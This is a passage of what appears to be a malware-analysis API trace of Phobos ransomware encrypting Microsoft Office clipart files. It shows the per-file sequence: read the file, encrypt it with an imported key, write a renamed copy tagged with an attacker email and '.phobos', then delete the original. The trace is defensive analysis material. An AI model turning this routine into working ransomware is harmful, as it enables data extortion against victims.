office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0139.903] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.903] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=11694) returned 1 [0139.903] CloseHandle (hObject=0x2f8) returned 1 [0139.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0139.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.904] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.904] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.904] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0139.904] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.904] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2dae, lpOverlapped=0x0) returned 1 [0139.955] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2db0, dwBufLen=0x2db0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2db0) returned 1 [0139.955] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2db0, lpOverlapped=0x0) returned 1 [0139.956] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0139.956] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.956] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.956] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.956] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.956] CryptDestroyKey (hKey=0x753158) returned 1 [0139.956] CloseHandle (hObject=0x2f8) returned 1 [0139.956] CloseHandle (hObject=0x30c) returned 1 [0139.956] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0139.957] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.957] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=8826) returned 1 [0139.957] CloseHandle (hObject=0x30c) returned 1 [0139.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0139.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.957] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.957] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.958] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0139.958] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.958] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x227a, lpOverlapped=0x0) returned 1 [0140.016] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2280, dwBufLen=0x2280 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2280) returned 1 [0140.016] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2280, lpOverlapped=0x0) returned 1 [0140.017] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0140.017] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.017] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0140.017] CryptDestroyKey (hKey=0x752fd8) returned 1 [0140.017] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0140.017] CryptDestroyKey (hKey=0x753158) returned 1 [0140.017] CloseHandle (hObject=0x30c) returned 1 [0140.017] CloseHandle (hObject=0x2f8) returned 1 [0140.017] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0140.018] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0140.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.018] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=27546) returned 1 [0140.018] CloseHandle (hObject=0x2f8) returned 1 [0140.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0140.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.019] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.019] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.019] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753018) returned 1 [0140.019] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.019] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x6b9a, lpOverlapped=0x0) returned 1 [0140.050] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6ba0) returned 1 [0140.050] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x6ba0, lpOverlapped=0x0) returned 1 [0140.051] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x7530d8) returned 1 [0140.051] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.051] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0140.051] CryptDestroyKey (hKey=0x7530d8) returned 1 [0140.051] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0140.051] CryptDestroyKey (hKey=0x753018) returned 1 [0140.051] CloseHandle (hObject=0x2f8) returned 1 [0140.051] CloseHandle (hObject=0x30c) returned 1 [0140.051] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0140.052] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0140.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.052] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=7154) returned 1 [0140.052] CloseHandle (hObject=0x30c) returned 1 [0140.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0140.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.053] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.053] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.053] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0140.053] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.053] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1bf2, lpOverlapped=0x0) returned 1 [0140.059] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1c00) returned 1 [0140.059] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1c00, lpOverlapped=0x0) returned 1 [0140.060] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0140.060] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.060] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0140.060] CryptDestroyKey (hKey=0x752cd8) returned 1 [0140.060] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0140.060] CryptDestroyKey (hKey=0x753098) returned 1 [0140.061] CloseHandle (hObject=0x30c) returned 1 [0140.061] CloseHandle (hObject=0x2f8) returned 1 [0140.061] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0140.062] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0140.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.062] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=19656) returned 1 [0140.062] CloseHandle (hObject=0x2f8) returned 1 [0140.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0140.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.063] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.063] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.063] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752b18) returned 1 [0140.063] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.063] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x4cc8, lpOverlapped=0x0) returned 1 [0140.125] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4cd0) returned 1 [0140.125] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x4cd0, lpOverlapped=0x0) returned 1 [0140.126] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0140.126] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.126] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0140.126] CryptDestroyKey (hKey=0x753098) returned 1 [0140.126] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0140.126] CryptDestroyKey (hKey=0x752b18) returned 1 [0140.126] CloseHandle (hObject=0x2f8) returned 1 [0140.126] CloseHandle (hObject=0x30c) returned 1 [0140.126] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0140.127] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0140.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.128] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=50490) returned 1 [0140.128] CloseHandle (hObject=0x30c) returned 1 [0140.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0140.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.128] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.128] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.128] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 